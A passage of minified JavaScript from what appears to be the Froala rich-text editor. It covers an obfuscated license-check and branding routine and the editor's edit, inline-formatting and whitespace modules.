t=[_("9qqG-7amjlwq=="),_("KA3B3C2A6D1D5H5H1A3=="),_("3B9B3B5F3C4G3E3=="),_("QzbzvxyB2yA-9m=="),_("ji1kacwmgG5bc=="),_("nmA-13aogi1A3c1jd=="),_("BA9ggq=="),_("emznbjbH3fij=="),_("tkC-22d1qC-13sD1wzF-7=="),_("tA3jjf=="),_("1D1brkm==")],n=0;n<t.length;n++)if(String.prototype.endsWith||(String.prototype.endsWith=function(e,t){return(void 0===t||t>this.length)&&(t=this.length),this.substring(t-e.length,t)===e}),e.endsWith(t[n]))return!0;return!1}function v(){var e=_(p(n)),t=_(p("tzgatD-13eD1dtdrvmF3c1nrC-7saQcdav==")).split(".");try{return window.parent.document.querySelector(e)&&window[t[1]][t[2]]}catch(e){return!1}}var b,C,E=f.$,y="sC-7OB2fwhVC4vsG-7ohPA4ZD4D-8f1J3stzB-11bFE2FC1A3NB2IF1HE1TH4WB8eB-11zVG2F3I3yYB5ZG4CB2DA15CC5AD3F1A1KG1oLA10B1A6wQF1H3vgale2C4F4XA2qc2A5D5B3pepmriKB3OE1HD1fUC10pjD-11E-11TB4YJ3bC-16zE-11yc1B2CE2BC3jhjKC1pdA-21OA6C1D5B-8vF4QA11pD6sqf1C3lldA-16BD4A2H3qoEA7bB-16rmNH5H1F1vSB7RE2A3TH4YC5A5b1A4d1B3whepyAC3AA2zknC3mbgf1SC4WH4PD8TC5ZB2C3H3jb2A5ZA2EF2aoFC5qqHC4B1H1zeGA7UA5RF4TA29TA6ZC4d1C3hyWA10A3rBB2E3decorationRD3QC10UD3E6E6ZD2F3F3fme2E5uxxrEC9C3E4fB-11azhHB1LD7D6VF4VVTPC6b1C4TYG3qzDD6B3B3AH4I2H2kxbHE1JD1yihfd1QD6WB1D4mhrc1B5rvFG3A14A7cDA2OC1AA1JB5zC-16KA6WB4C-8wvlTB5A5lkZB2C2C7zynBD2D2bI-7C-21d1HE2cubyvPC8A6VB3aroxxZE4C4F4e1I2BE1WjdifH1H4A14NA1GB1YG-10tWA3A14A9sVA2C5XH2A29b2A6gsleGG2jaED2D-13fhE1OA8NjwytyTD4e1sc1D-16ZC3B5C-9e1C2FB6EFF5B2C2JH4E1C2tdLE5A3UG4G-7b2D3B4fA-9oh1G3kqvB4AG3ibnjcAC6D2B1cDA9KC2QA6bRC4VA30RB8hYB2A4A-8h1A21A2B2==",L="7D4YH4fkhHB3pqDC3H2E1fkMD1IB1NF1D3QD9wB5rxqlh1A8c2B4ZA3FD2AA6FB5EB3jJG4D2J-7aC-21GB6PC5RE4TC11QD6XC4XE3XH3mlvnqjbaOA2OC2BE6A1fmI-7ujwbc1G5f1F3e1C11mXF4owBG3E1yD1E4F1D2D-8B-8C-7yC-22HD1MF5UE4cWA3D8D6a1B2C3H3a3I3sZA4B3A2akfwEB3xHD5D1F1wIC11pA-16xdxtVI2C9A6YC4a1A2F3B2GA6B4C3lsjyJB1eMA1D-11MF5PE4ja1D3D7byrf1C3e1C7D-16lwqAF3H2A1B-21wNE1MA1OG1HB2A-16tSE5UD4RB3icRA4F-10wtwzBB3E1C3CC2DA8LA2LA1EB1kdH-8uVB7decorg1J2B7B6qjrqGI2J1C6ijehIB1hkemC-13hqkrH4H-7QD6XF5XF3HLNAC3CB2aD2CD2KB10B4ycg1A-8KA4H4B11jVB5TC4yqpB-21pd1E4pedzGB6MD5B3ncB-7MA4LD2JB6PD5uH-8TB9C7YD5XD2E3I3jmiDB3zeimhLD8E2F2JC1H-9ivkPC5lG-10SB1D3H3A-21rc1A3d1E3fsdqwfGA2KA1OrC-22LA6D1B4afUB16SC7AitC-8qYA11fsxcajGA15avjNE2A-9h1hDB16B9tPC1C5F5UC1G3B8d2A5d1D4RnHJ3C3JB5D3ucMG1yzD-17hafjC-8VD3yWC6e1YD2H3ZE2C8C5oBA3H3D2vFA4WzJC4C2i1A-65fNB8afWA1H4A26mvkC-13ZB3E3h1A21BC4eFB2GD2AA5ghqND2A2B2==",n="MekC-11nB-8tIzpD7pewxvzC6mD-16xerg1==",T="lC4B3A3B2B5A1C2E4G1A2==",w="sC-7OB2fwhVC4vsG-7ohPA4ZD4D-8f1J3stzB-11bFE2EE1MA2ND1KD1IE4cA-21pSD2D5ve1G3h1A8b1E5ZC3CD2FA16mC5OC5E1hpnG1NA10B1D7hkUD4I-7b2C3C5nXD2E3F3whidEC2EH3GI2mJE2E2bxci1WA10VC7pllSG2F3A7xd1A4ZC3DB2aaeGA2DE4H2E1j1ywD-13FD1A3VE4WA3D8C6wuc1A2hf1B5B7vnrrjA1B9ic1mpbD1oMB1iSB7rWC4RI4G-7upB6jd1A2F3H2EA4FD3kDF4A2moc1anJD1TD4VI4b2C7oeQF4c1E3XC7ZA3C3G3uDB2wGB6D1JC4D1JD4C1hTE6QC5pH4pD3C-22D7c1A3textAA4gdlB2mpozkmhNC1mrxA3yWA5edhg1I2H3B7ozgmvAI3I2B5GD1LD2RSNH1KA1XA5SB4PA3sA9tlmC-9tnf1G3nd1coBH4I2I2JC3C-16LE6A1tnUA3vbwQB1G3f1A20a3A8a1C6pxAB2eniuE1F3kH2lnjB2hB-16XA5PF1G4zwtYA5B-11mzTG2B9pHB3BE2hGH3B3B2cMD5C1F1wzPA8E7VG5H5vD3H-7C8tyvsVF2I1G2A5fE3bg1mgajoyxMA4fhuzSD8aQB2B4g1A20ukb1A4B3F3GG2CujjanIC1ObiB11SD1C5pWC1D4YB8YE5FE-11jXE2F-7jB4CC2G-10uLH4E1C2tA-13yjUH5d1H1A7sWD5E4hmjF-7pykafoGA16hDD4joyD-8OA33B3C2tC7cRE4SA31a1B8d1e2A4F4g1A2A22CC5zwlAC2C1A12==",A=function(){for(var e=0,t=document.domain,n=t.split("."),r="_gd".concat((new Date).getTime());e<n.length-1&&-1===document.cookie.indexOf("".concat(r,"=").concat(r));)t=n.slice(-1-++e).join("."),document.cookie="".concat(r,"=").concat(r,";domain=").concat(t,";");return document.cookie="".concat(r,"=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=").concat(t,";"),(t||"").replace(/(^\.*)|(\.*$)/g,"")}(),_=p(function S(e){if(!e)return e;for(var t="",n=p("charCodeAt"),r=p("fromCharCode"),a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".indexOf(e[0]),o=1;o<e.length-2;o++){for(var i=c(++a),s=e[n](o),l="";/[0-9-]/.test(e[o+1]);)l+=e[++o];s=d(s,i,l=parseInt(l,10)||0),s^=a-1&31,t+=String[r](s)}return t}),e=0;return{_init:function k(){var e=f.opts.key||[""],t=_(p("ziRA1E3B9pA5B-11D-11xg1A3ZB5D1D4B-11ED2EG2pdeoC1clIH4wB-22yQD5uF4YE3E3A9=="));"string"==typeof e&&(e=[e]);for(var n,r,a,o=!(f.ul=!0),i=0,s=0;s<e.length;s++){var l=(r=e[s],4===(a=(_(r)||"").split("|")).length&&"V3"===a[0]?[a[1],a[3],a[2]]:[null,null,""]),c=l[2];if(c===_(p(_("LGnD1KNZf1CPBYCAZB-8F3UDSLLSG1VFf1A3C2==")))||0<=c.indexOf(A,c.length-A.length)||m(A)||v()){if(null!==(n=l[1])&&!(0==n.indexOf("TRIAL")?(n=new Date(n.replace(/TRIAL/,"")),new Date(n)<new Date&&(y=L,1)):new Date(n)<new Date(_(T)))||!(0<(A||"").length)||m(A)||v()){f.ul=!1;break}o=!0,w=y,i=l[0]||-1}}var d=new Image;!0===f.ul&&(g(),d.src=o?"".concat(p(_(t)),"e=").concat(i):"".concat(p(_(t)),"u")),!0===f.ul&&(f.events.on("contentChanged",function(){(function e(){return u(b)||u(C)||h(b)||h(C)})()&&g()}),f.events.on("html.get",function(e){return e+_("qD2H-9G3ioD-17qA1tE1B-8qI3A4hA-13C-11E2C1njfldD1E6pg1C-8sC3hfbkcD2G3stC-22gqgB3G2B-7vtoA4nweeD1A31A15B9uC-16A1F5dkykdc1B8dE-11bA3F2D3A9gd1E7F2tlI-8H-7vtxB2A5B2C3B2F2B5A6ldbyC4iqC-22D-17E-13mA3D2dywiB3oxlvfC1H4C2TjqbzlnI3ntB4E3qA2zaqsC6D3pmnkoE3C6D5wvuE3bwifdhB6hch1E4xibD-17dmrC1rG-7pntnF6nB-8F1D2A11C8plrkmF2F3MC-16bocqA2WwA-21ayeA1C4d1isC-22rD-13D6DfjpjtC2E6hB2G2G4A-7D2==")})),f.events.on("html.set",function(){var e=f.el.querySelector('[data-f-id="pbf"]');e&&E(e).remove()}),f.events.on("destroy",function(){b&&b.length&&b.remove()},!0)}}},kt.MODULES.edit=function(t){function e(){if(t.browser.mozilla)try{t.doc.execCommand("enableObjectResizing",!1,"false"),t.doc.execCommand("enableInlineTableEditing",!1,"false")}catch(e){}if(t.browser.msie)try{t.doc.body.addEventListener("mscontrolselect",function(e){return e.srcElement.focus(),!1})}catch(e){}}var n=!1;function r(){return n}return{_init:function a(){t.events.on("focus",function(){r()?t.edit.off():t.edit.on()})},on:function o(){t.$wp?(t.$el.attr("contenteditable",!0),t.$el.removeClass("fr-disabled").attr("aria-disabled",!1),e()):t.$el.is("a")&&t.$el.attr("contenteditable",!0),t.events.trigger("edit.on",[],!0),n=!1},off:function i(){t.events.disableBlur(),t.$wp?(t.$el.attr("contenteditable",!1),t.$el.addClass("fr-disabled").attr("aria-disabled",!0)):t.$el.is("a")&&t.$el.attr("contenteditable",!1),t.events.trigger("edit.off"),t.events.enableBlur(),n=!0},disableDesign:e,isDisabled:r}},kt.MODULES.format=function(k){var x=k.$;function R(e,t){var n=e;for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n+="id"===r?"#".concat(t[r]):"class"===r?".".concat(t[r]):"[".concat(r,'="').concat(t[r],'"]'));return n}function N(e,t){return!(!e||e.nodeType!==Node.ELEMENT_NODE)&&(e.matches||e.matchesSelector||e.msMatchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.oMatchesSelector).call(e,t)}function b(e,t,n){var r,a,o,i={strong:{prop:"font-weight",val:"bold"},em:{prop:"font-style",val:"italic"}};if(e){var s="LI"===e.tagName?e:x(e).parentsUntil(k.$el,"li").get(0),l=x(s).find(".fr-marker[data-type=false]").get(0);if("LI"!==e.parentNode.parentNode.tagName||!l||null!=l.previousSibling){if(k.node.isBlock(e)&&e.hasAttribute("contenteditable")&&"false"===e.getAttribute("contenteditable")||e.parentNode&&e.parentNode.hasAttribute("contenteditable")&&"false"===e.parentNode.getAttribute("contenteditable")){if(e.nextSibling&&x(e.nextSibling).hasClass("fr-marker"))return;if(e.nextSibling)return void b(e.nextSibling,t,n);if(e.parentNode)return void b(e.parentNode,t,n)}for(;e&&e.nodeType===Node.COMMENT_NODE;)e=e.nextSibling;if(e){if(k.node.isBlock(e)&&"HR"!==e.tagName&&"LI"!==e.tagName)return k.node.hasClass(e.firstChild,"fr-marker")?b(e.firstChild.nextSibling,t,n):b(e.firstChild,t,n),!1;var c=x(k.doc.createElement(t));c.attr(n),c.insertBefore(e),(r=C(e))&&(0<=["strong","em"].indexOf(t)||"span"===t&&n.hasOwnProperty("style"))&&(o="span"===t?(a=(i=n.style.replace(/;$/,"").split(":"))[0].trim(),i[1].trim()):(a=i[t].prop,i[t].val),"background-color"!==a&&(x(r).css(a,o),function m(e,t){var n,r=e.childNodes;for(n=0;n<r.length;n++)0<=["UL","OL","LI"].indexOf(r[n].tagName)&&""===r[n].style[t]&&x(r[n]).css(t,"initial")}(r,a)));for(var d=e;d&&!x(d).hasClass("fr-marker")&&0===x(d).find(".fr-marker").length&&"UL"!==d.tagName&&"OL"!==d.tagName;){var f=d;if("SPAN"===d.tagName&&x(d).hasClass("fr-tracking-deleted"))d=d.nextSibling;else{if(k.node.isBlock(d)&&"HR"!==e.tagName)return b(d.firstChild,t,n),!1;if("SPAN"===d.tagName&&k.node.isEditable(d))return c.is(":empty")&&c.remove(),b(d.firstChild,t,n),!1;if(d.tagName&&d.hasAttribute("contenteditable")&&"false"===d.getAttribute("contenteditable")){var p=c.get(0).parentNode,u=d.nextSibling;return"P"===d.parentNode.tagName&&null==d.nextSibling?u=d.parentNode.nextSibling:!u&&p&&p.nextSibling&&"DIV"===p.nextSibling.tagName&&(u=p.nextSibling),void b(u,t,n)}if(!k.node.isEditable(d.parentNode))return k.selection.restore(),void k.toolbar.disable();d=d.nextSibling,c.append(f),k.browser.mozilla&&0<c.length&&v(c[0])}}if(d)(x(d).find(".fr-marker").length||"UL"===d.tagName||"OL"===d.tagName)&&b(d.firstChild,t,n);else{for(var h=c.get(0).parentNode;h&&!h.nextSibling&&!k.node.isElement(h);)h=h.parentNode;if(h){var g=h.nextSibling;g&&(k.node.isBlock(g)?"HR"===g.tagName?b(g.nextSibling,t,n):b(g.firstChild,t,n):b(g,t,n))}}c.is(":empty")&&c.remove()}}}}function v(e){if(x(e).parentsUntil(k.$el,"TABLE").length){for(var t=null,n=e.nextSibling;n;)"BR"===n.nodeName&&(t=n),n=n.nextSibling;t&&!t.nextSibling&&"TD"!=t.parentNode.nodeName&&t.parentNode.textContent&&t.remove()}}function l(e,t){var n;if(void 0===t&&(t={}),t.style&&delete t.style,k.selection.isCollapsed()){k.markers.insert();var r=k.$el.find(".fr-marker");r.get(0).nextSibling&&k.node.isBlock(r.get(0).nextSibling)&&!r.get(0).previousSibling&&"LI"===r.get(0).parentNode.tagName&&r.get(0).nextSibling.prepend(r.get(0)),r.replaceWith(function l(e,t){var n="<".concat(e);for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n+=" ".concat(r,'="').concat(t[r],'"'));return n+=">"}(e,t)+kt.INVISIBLE_SPACE+kt.MARKERS+function c(e){return"</".concat(e,">")}(e)),k.selection.restore()}else{k.selection.save();var a,o=k.$el.find('.fr-marker[data-type="true"]').length&&k.$el.find('.fr-marker[data-type="true"]').get(0).nextSibling;b(o,e,t),x(o).parent().find("a:empty").remove();do{for(a=k.$el.find("".concat(R(e,t)," > ").concat(R(e,t))),n=0;n<a.length;n++)a[n].outerHTML=a[n].innerHTML}while(a.length);k.el.normalize();var i=k.el.querySelectorAll(".fr-marker");for(n=0;n<i.length;n++){var s=x(i[n]);!0===s.data("type")?N(s.get(0).nextSibling,R(e,t))&&s.next().prepend(s):N(s.get(0).previousSibling,R(e,t))&&s.prev().append(s)}k.selection.restore()}}function M(e,t,n,r){if(!r){var a=!1;if(!0===e.data("type"))for(;k.node.isFirstSibling(e.get(0))&&!e.parent().is(k.$el)&&!e.parent().is("ol")&&!e.parent().is("ul");)e.parent().before(e),a=!0;else if(!1===e.data("type"))for(;k.node.isLastSibling(e.get(0))&&!e.parent().is(k.$el)&&!e.parent().is("ol")&&!e.parent().is("ul");)e.parent().after(e),a=!0;if(a)return!0}if(e.parents(t).length||void 0===t){var o,i="",s="",l=e.parent();if("A"===l[0].tagName&&(l=l.parent()),l.is(k.$el)||k.node.isBlock(l.get(0)))return!1;for(;!(k.node.isBlock(l.parent().get(0))||void 0!==t&&N(l.get(0),R(t,n)));)i+=k.node.closeTagString(l.get(0)),s=k.node.openTagString(l.get(0))+s,l=l.parent();var c=e.get(0).outerHTML;return e.replaceWith('<span id="mark"></span>'),o=l.html().replace(/<span id="mark"><\/span>/,i+k.node.closeTagString(l.get(0))+s+c+i+k.node.openTagString(l.get(0))+s),l.replaceWith(k.node.openTagString(l.get(0))+o+k.node.closeTagString(l.get(0))),!0}return!1}function c(e,t){void 0===t&&(t={}),t.style&&delete t.style;var n=k.selection.isCollapsed();k.selection.save();var r=k.$el.find(".fr-marker");if(e&&r.length&&(r[0].parentNode&&r[0].parentNode.tagName===e.toUpperCase()||r[1].parentNode.tagName===e.toUpperCase())){var a=r[0];r[0].parentNode.tagName!==e.toUpperCase()&&(a=r[1]);for(var o=a.parentNode.previousSibling;null!=o;)o.nodeType===Node.TEXT_NODE&&(o.textContent=o.textContent.replace(/\u200B/g,"")),o=o.previousSibling;for(var i=a.parentNode.nextSibling;null!=i;)i.nodeType===Node.TEXT_NODE&&(i.textContent=i.textContent.replace(/\u200B/g,"")),i=i.nextSibling}for(var s=!0;s;){s=!1;for(var l=k.$el.find(".fr-marker"),c=0;c<l.length;c++){var d=x(l[c]),f=null;if(d.attr("data-cloned")||n||(f=d.clone().removeClass("fr-marker").addClass("fr-clone"),d.data("type")&&"true"===d.data("type").toString()?d.attr("data-cloned",!0).after(f):d.attr("data-cloned",!0).before(f)),M(d,e,t,n)){s=!0;break}}}!function _(e,t,n,r){for(var a,o={strong:{prop:"font-weight",val:"bold"},em:{prop:"font-style",val:"italic"}},i=k.node.contents(e.get(0)),s=0;s<i.length;s++){var l=i[s];if(l.innerHTML&&8203==l.innerHTML.charCodeAt()&&l.tagName.toLocaleLowerCase()==n&&l.childNodes.length<2&&!k.helpers.isMobile()&&(l.outerHTML=l.innerHTML),k.node.hasClass(l,"fr-marker"))t=(t+1)%2;else if(t)if(0<x(l).find(".fr-marker").length)t=_(x(l),t,n,r);else{(a="LI"===l.tagName?l:x(l).parentsUntil(k.$el,"li").get(0))&&(void 0===n||0<=["strong","em"].indexOf(n))&&(n?x(a).css(o[n].prop,""):a.style=""),(a=l.parentNode!==k.el?l.parentNode:null)&&1===a.nodeType&&["p","strong","u","em","s","sub","sup","a"].indexOf(n)<0&&a.hasAttribute("style")&&"SPAN"!==a.tagName&&"LI"!==a.tagName?a.style="":l&&1===l.nodeType&&l.hasAttribute("style")&&["p","strong","u","em","s","sub","sup","a"].indexOf(n)<0&&(k.browser.msie?x(l).attr("style",""):l.style="");for(var c=x(l).find(n||"*:not(br)"),d=c.length-1;0<=d;d--){var f=c[d];(a="LI"===f.tagName?f:x(f).parentsUntil(k.$el,"li").get(0))&&(!n||0<=["strong","em"].indexOf(n))&&(n?x(a).css(o[n].prop,""):a.style=""),"A"===f.tagName||k.node.isBlock(f)||k.node.isVoid(f)||void 0!==n&&!N(f,R(n,r))?k.node.isBlock(f)&&void 0===n&&"TABLE"!==l.tagName&&k.node.clearAttributes(f):k.node.hasClass(f,"fr-clone")||k.node.hasClass(f,"fr-tracking-deleted")||x(f).data("tracking")||(f.outerHTML=f.innerHTML)}"A"!==l.tagName&&void 0===n&&l.nodeType===Node.ELEMENT_NODE&&!k.node.isVoid(l)||N(l,R(n,r))?k.node.isBlock(l)||(k.node.hasClass(l,"fr-clone")||k.opts.trackChangesEnabled?!k.node.hasClass(l,"fr-clone")&&k.opts.trackChangesEnabled&&l.parentNode&&(l.outerHTML=l.innerHTML):l.outerHTML=l.innerHTML):void 0===n&&l.nodeType===Node.ELEMENT_NODE&&k.node.isBlock(l)&&"TABLE"!==l.tagName&&k.node.clearAttributes(l)}else 0<x(l).find(".fr-marker").length&&(t=_(x(l),t,n,r))}return t}(k.$el,0,e,t),n||(k.$el.find(".fr-marker").remove(),k.$el.find(".fr-clone").removeClass("fr-clone").addClass("fr-marker")),n&&k.$el.find(".fr-marker").before(kt.INVISIBLE_SPACE).after(kt.INVISIBLE_SPACE),k.html.cleanEmptyTags(),k.el.normalize(),k.selection.restore();var p=k.win.getSelection()&&k.win.getSelection().anchorNode;if(p){var u=k.node.blockParent(p),h=!!p.textContent.replace(/\u200B/g,"").length,g=k.win.getSelection().getRangeAt(0),m=g.startOffset,v=g.endOffset;k.selection.text().replace(/\u200B/g,"").length||function S(e,t){if(e&&t){if(e.isSameNode(t)?e.textContent=e.textContent.replace(/\u200B(?=.*\u200B)/g,""):e.nodeType===Node.TEXT_NODE&&(e.textContent=e.textContent.replace(/\u200B/g,"")),!e.childNodes.length)return!1;Array.isArray(e.childNodes)&&e.childNodes.forEach(function(e){S(e,t)})}}(u,p);var b=k.win.getSelection().getRangeAt(0);if(p.nodeType===Node.TEXT_NODE){if(!h||!k.selection.text().length&&m===v){var C=p.textContent.search(/\u200B/g)+1;if(k.browser.msie){var E=k.doc.createRange();k.selection.get().removeAllRanges(),E.setStart(p,C),E.setEnd(p,C),k.selection.get().addRange(E)}else"a"!==e&&(b.setStart(p,C),b.setEnd(p,C))}}else{var y,L,T=0,w=x(p).contents();if(k.browser.msie){for(;L=w[T];)L.nodeType===Node.TEXT_NODE&&0<=L.textContent.search(/\u200B/g)&&(y=L),T++;y=x(y)}else y=w.filter(function(e){return e.nodeType===Node.TEXT_NODE&&0<=e.textContent.search(/\u200B/g)});if(y.length&&!k.opts.trackChangesEnabled){var A=y.text().search(/\u200B/g)+1;b.setStart(y.get(0),A),b.setEnd(y.get(0),A)}}}}function t(e,t){var n,r,a,o,i,s,l,c=null;if(k.selection.isCollapsed()){k.markers.insert();var d=(r=k.$el.find(".fr-marker")).parent();if(k.node.openTagString(d.get(0))==='<span style="'.concat(e,": ").concat(d.css(e),';">')){if(k.node.isEmpty(d.get(0)))c=x(k.doc.createElement("span")).attr("style","".concat(e,": ").concat(t,";")).html("".concat(kt.INVISIBLE_SPACE).concat(kt.MARKERS)),d.replaceWith(c);else{var f={};f["style*"]="".concat(e,":"),M(r,"span",f,!0),r=k.$el.find(".fr-marker"),t?(c=x(k.doc.createElement("span")).attr("style","".concat(e,": ").concat(t,";")).html("".concat(kt.INVISIBLE_SPACE).concat(kt.MARKERS)),r.replaceWith(c)):r.replaceWith(kt.INVISIBLE_SPACE+kt.MARKERS)}k.html.cleanEmptyTags()}else k.node.isEmpty(d.get(0))&&d.is("span")?(r.replaceWith(kt.MARKERS),d.css(e,t)):(r.get(0).nextSibling&&k.node.isBlock(r.get(0).nextSibling)&&!r.get(0).previousSibling&&"LI"===r.get(0).parentNode.tagName&&r.get(0).nextSibling.prepend(r.get(0)),c=x(t?'<span style="'.concat(e,": ").concat(t,';">').concat(kt.INVISIBLE_SPACE).concat(kt.MARKERS,"</span>"):"<span>".concat(kt.INVISIBLE_SPACE).concat(kt.MARKERS,"</span>")),r.replaceWith(c));c&&E(c,e,t)}else{if(k.selection.save(),null===t||"color"===e&&0<k.$el.find(".fr-marker").parents("u, a").length){var p=k.$el.find(".fr-marker");for(n=0;n<p.length;n++)if(!0===(r=x(p[n])).data("type")||"true"===r.data("type"))for(;k.node.isFirstSibling(r.get(0))&&!r.parent().is(k.$el)&&!k.node.isElement(r.parent().get(0))&&!k.node.isBlock(r.parent().get(0));)r.parent().before(r);else for(;k.node.isLastSibling(r.get(0))&&!r.parent().is(k.$el)&&!k.node.isElement(r.parent().get(0))&&!k.node.isBlock(r.parent().get(0));)r.parent().after(r)}for(var u=k.$el.find('.fr-marker[data-type="true"]').get(0).nextSibling;u.firstChild;)u=u.firstChild;var h={"class":"fr-unprocessed"};for(t&&(h.style="".concat(e,": ").concat(t,";")),b(u,"span",h),k.$el.find(".fr-marker + .fr-unprocessed").each(function(){x(this).prepend(x(this).prev())}),k.$el.find(".fr-unprocessed + .fr-marker").each(function(){x(this).prev().append(x(this))}),(t||"").match(/\dem$/)&&k.$el.find("span.fr-unprocessed").removeClass("fr-unprocessed");0<k.$el.find("span.fr-unprocessed").length;){if(a=C(c=k.$el.find("span.fr-unprocessed").first().removeClass("fr-unprocessed")),c.parent().get(0).normalize(),c.parent().is("span")&&1===c.parent().get(0).childNodes.length){var g=t;k.browser.msie&&!t&&(g=""),c.parent().css(e,g);var m=c;c=c.parent(),m.replaceWith(m.html()),1!==c.parent().get(0).childNodes.length||t||"background-color"!==e||c.parents("span").css(e,t)}for(o=c.find("span"),a&&"background-color"!==e&&(a.normalize(),o=x(a).find("span:not(.fr-unprocessed)")),n=o.length-1;0<=n;n--)i=o[n],s=e,l=void 0,(l=x(i)).css(s,""),""===l.attr("style")&&l.replaceWith(l.html());E(c,e,t)}}!function v(){var e;for(;0<k.$el.find(".fr-split:empty").length;)k.$el.find(".fr-split:empty").remove();k.$el.find(".fr-split").removeClass("fr-split"),k.$el.find('[style=""]').removeAttr("style"),k.$el.find('[class=""]').removeAttr("class"),k.html.cleanEmptyTags();for(var t=k.$el.find("span"),n=t.length-1;0<=n;n--){var r=t[n];r.attributes&&0!==r.attributes.length||x(r).replaceWith(r.innerHTML)}k.el.normalize();var a=k.$el.find("span[style] + span[style]");for(e=0;e<a.length;e++){var o=x(a[e]),i=x(a[e]).prev();o.get(0).previousSibling===i.get(0)&&k.node.openTagString(o.get(0))===k.node.openTagString(i.get(0))&&(o.prepend(i.html()),i.remove())}k.$el.find("span[style] span[style]").each(function(){if(0<=x(this).attr("style").indexOf("font-size")){var e=x(this).parents("span[style]");e.attr("style")&&0<=e.attr("style").indexOf("background-color")&&(x(this).attr("style",function a(e,t){var n=function n(e){return e.split(";").reduce(function(e,t){var n=t.split(":"),r=y(n,2),a=r[0],o=r[1];return a&&o&&(e[a.trim()]=o.trim()),e},{})},r=Object.assign(n(t),n(e));return Object.entries(r).map(function(e){var t=y(e,2),n=t[0],r=t[1];return"".concat(n,": ").concat(r)}).join("; ")}(x(this).attr("style"),e.attr("style"))),M(x(this),"span[style]",{},!1))}}),k.el.normalize(),k.selection.restore()}()}function C(e){var t,n,r,a,o,i;if(t="LI"===e.tagName?e:x(e).parentsUntil(k.$el,"li").get(0)){if((i=k.selection.info(t)).atStart&&i.atEnd)return t;if(i.atStart&&!i.atEnd&&(n=x(t).find(".fr-marker[data-type=false]").get(0),r=x(n).parentsUntil(k.$el,"li").get(0),a=x(n).parent().get(0),(o=n.nextSibling)&&0<=["UL","OL"].indexOf(o.tagName)||!r.isSameNode(t)||!o&&("LI"===a.tagName||!a.nextSibling||0<=["UL","OL"].indexOf(a.nextSibling.tagName)||k.node.isVoid(a.nextSibling))))return t}}function E(e,t,n){var r,a,o,i=e.parentsUntil(k.$el,"span[style]"),s=[];for(r=i.length-1;0<=r;r--)a=i[r],o=t,0===x(a).attr("style").indexOf("".concat(o,":"))||0<=x(a).attr("style").indexOf(";".concat(o,":"))||0<=x(a).attr("style").indexOf("; ".concat(o,":"))||s.push(i[r]);if((i=i.not(s)).length){for(var l="",c="",d="",f="",p=e.get(0);p=p.parentNode,x(p).addClass("fr-split"),l+=k.node.closeTagString(p),c=k.node.openTagString(x(p).clone().addClass("fr-split").get(0))+c,i.get(0)!==p&&(d+=k.node.closeTagString(p),f=k.node.openTagString(x(p).clone().addClass("fr-split").get(0))+f),i.get(0)!==p;);var u="".concat(l+k.node.openTagString(x(i.get(0)).clone().css(t,n||"").get(0))+f+e.css(t,"").get(0).outerHTML+d,"</span>").concat(c);e.replaceWith('<span id="fr-break"></span>');var h=i.get(0).outerHTML;x(i.get(0)).replaceWith(h.replace(/<span id="fr-break"><\/span>/g,function(){return u}))}}function d(e,t){void 0===t&&(t={}),t.style&&delete t.style;var n=k.selection.ranges(0),r=n.startContainer;if(r.nodeType===Node.ELEMENT_NODE&&0<r.childNodes.length&&r.childNodes[n.startOffset]&&(r=r.childNodes[n.startOffset]),!n.collapsed&&r.nodeType===Node.TEXT_NODE&&n.startOffset===(r.textContent||"").length){for(;!k.node.isBlock(r.parentNode)&&!r.nextSibling;)r=r.parentNode;r.nextSibling&&(r=r.nextSibling)}for(var a=r;a&&a.nodeType===Node.ELEMENT_NODE&&!N(a,R(e,t));)a=a.firstChild;if(a&&a.nodeType===Node.ELEMENT_NODE&&N(a,R(e,t)))return!0;var o=r;for(o&&o.nodeType!==Node.ELEMENT_NODE&&(o=o.parentNode);o&&o.nodeType===Node.ELEMENT_NODE&&o!==k.el&&!N(o,R(e,t));)o=o.parentNode;return!(!o||o.nodeType!==Node.ELEMENT_NODE||o===k.el||!N(o,R(e,t)))}return{is:d,toggle:function f(e,t){if(k.browser.safari&&k.shared.safariSelection){var n=k.shared.safariSelection,r=n.startContainer,a=n.endContainer,o=n.startOffset,i=n.endOffset,s=k.doc.createRange();s.setStart(r,o),s.setEnd(a,i),k.selection.get().removeAllRanges(),k.selection.get().addRange(s),k.shared.safariSelection=null}d(e,t)?c(e,t):l(e,t)},apply:l,remove:c,applyStyle:t,removeStyle:function n(e){t(e,null)}}},kt.MODULES.spaces=function(p){var u=p.$;function r(e,t){var n=e.previousSibling,r=e.nextSibling,a=e.textContent,o=e.parentNode,i=[kt.ENTER_P,kt.ENTER_DIV,kt.ENTER_BR];if(!p.html.isPreformatted(o)){t&&(a=p.opts.preserveTabSpaces?a.replace(/[\f\n\r\v]{2,}/g," "):a.replace(/[\f\n\r\t\v ]{2,}/g," "),r&&"BR"!==r.tagName&&!p.node.isBlock(r)||!(p.node.isBlock(o)||p.node.isLink(o)&&!o.nextSibling||p.node.isElement(o))||(a=a.replace(/[\f\n\r\t\v ]{1,}$/g,"")),n&&"BR"!==n.tagName&&!p.node.isBlock(n)||!(p.node.isBlock(o)||p.node.isLink(o)&&!o.previousSibling||p.node.isElement(o))||(a=a.replace(/^[\f\n\r\t\v ]{1,}/g,"")),(p.node.isBlock(r)||p.node.isBlock(n))&&(!n||n&&"A"!==n.tagName)&&(a=a.replace(/^[\f\n\r\t\v ]{1,}/g,""))," "===a&&(n&&p.node.isVoid(n)||r&&p.node.isVoid(r))&&!(n&&r&&p.node.isVoid(n)||r&&n&&p.node.isVoid(r))&&(a="")),(!n&&p.node.isBlock(r)||!r&&p.node.isBlock(n))&&p.node.isBlock(o)&&o!==p.el&&(a=a.replace(/^[\f\n\r\t\v ]{1,}/g,"")),t||(a=a.replace(new RegExp(kt.UNICODE_NBSP,"g")," "));var s=o.nextSibling&&o.nextSibling.tagName,l=o.previousSibling&&o.previousSibling.tagName,c=["SPAN","STRONG","U","EM"];s||u(o).parent().each(function(){return-1!==c.indexOf(this.tagName)&&(this.nextSibling?(s=this.nextSibling&&this.nextSibling.tagName,!1):void 0)}),l||u(o).parent().each(function(){return-1!==c.indexOf(this.tagName)&&(this.previousSibling?(l=this.previousSibling&&this.previousSibling.tagName,!1):void 0)});for(var 